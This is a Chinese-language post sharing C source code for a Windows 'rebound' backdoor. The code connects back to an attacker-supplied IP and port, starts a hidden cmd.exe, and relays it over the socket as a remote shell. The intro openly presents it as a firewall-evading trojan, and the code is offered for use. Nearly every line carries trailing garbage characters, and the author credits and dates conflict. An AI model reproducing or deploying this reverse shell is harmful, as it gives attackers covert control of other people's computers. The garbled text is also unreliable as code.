这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 !f\?c7
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/* ============================== $bZu^d,
Rebound port in Windows NT *|LbbRu
By wind,2006/7 E[jXUOu-
===============================*/ 6.U"_%
#include )@Zc?Da
#include /`+Hwdk
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#pragma comment(lib,"wsock32.lib") I(OAEIz
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void OutputShell();
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SOCKET sClient; 9Qzjqq:"Li
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; qnq%mwDeD
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c
void main(int argc,char **argv) y@o9~?M
{ QFW0KD`5
WSADATA stWsaData; ;.ysCF
int nRet; Pgn_9Y?<
SOCKADDR_IN stSaiClient,stSaiServer; x?, ~TC4
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if(argc != 3) Y&vHOA
{ mb0n}I_AC
printf("Useage:\n\rRebound DestIP DestPort\n"); Ky[bX
return; T!l
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} [3j$ 4rP
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WSAStartup(MAKEWORD(2,2),&stWsaData); F8{ldzh
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 0LWdJ($?
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stSaiClient.sin_family = AF_INET; ";PG%_(
stSaiClient.sin_port = htons(0); Ro'jM0(KE
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Md8(`@`o
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) d?:`n9`
{ r0F_;
printf("Bind Socket Failed!\n"); bK3B3r#$
return; |}_gA
} }FPM-M3y
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stSaiServer.sin_family = AF_INET; w$gSj/
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); paW'R +Rck
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); N0=-7wMk(Z
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) [O=W>l
{ 1^aykrnQ>
printf("Connect Error!"); ;"1/#CY773
return; &&X$d!V
}
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OutputShell(); 9[z'/U.Bn
} EVR! @6@
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void OutputShell() n}19?K]g
{ P?^JPbfV
char szBuff[1024]; mT96]V\
SECURITY_ATTRIBUTES stSecurityAttributes; AK6=Ydu
OSVERSIONINFO stOsversionInfo; B ,V(LTE
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; <u0*"
STARTUPINFO stStartupInfo; 8)N0S% B
char *szShell; c#=&!FRe
PROCESS_INFORMATION stProcessInformation; '.pgXsC:=?
unsigned long lBytesRead; D899gGe
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); FyCBNtCv
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); [ L
stSecurityAttributes.lpSecurityDescriptor = 0; ytEQ`
stSecurityAttributes.bInheritHandle = TRUE; [!W5}=^H
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 5)w4)K-%
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); SGt5~Txj
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); cI5N"U@yN
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Tj=gRQ2v
stStartupInfo.wShowWindow = SW_HIDE; UL&} s_
stStartupInfo.hStdInput = hReadPipe; > 84e`aGE
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe;
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GetVersionEx(&stOsversionInfo); NN^QUB
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switch(stOsversionInfo.dwPlatformId) j(sLK
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{ gt'*B5F(
case 1: 47KNT7C
szShell = "command.com"; 8+ov(B;(
break; GSP?X$E
default: YNI;h%w
szShell = "cmd.exe"; SgiDh dE
break; C#0brCQq3
} (i\)|c/a7
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); "9w}dQ
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send(sClient,szMsg,77,0); -OWZ6#v(
while(1) ~Po<(A}`f
{ 4h;4!I|
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); n,CD
if(lBytesRead) !:3^ hb
{ Yr=8!iR$
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); sds}bo
send(sClient,szBuff,lBytesRead,0); s'TY[
} Y~}5axSPH
else "mR*7o$|
{ ul$,q05nb
lBytesRead=recv(sClient,szBuff,1024,0); 6(Vhtr2(*
if(lBytesRead<=0) break; nWk e#{[
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ~T%Ui#Gc
} H;QA@tF>5
} E:)Cp
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return; B X*69
}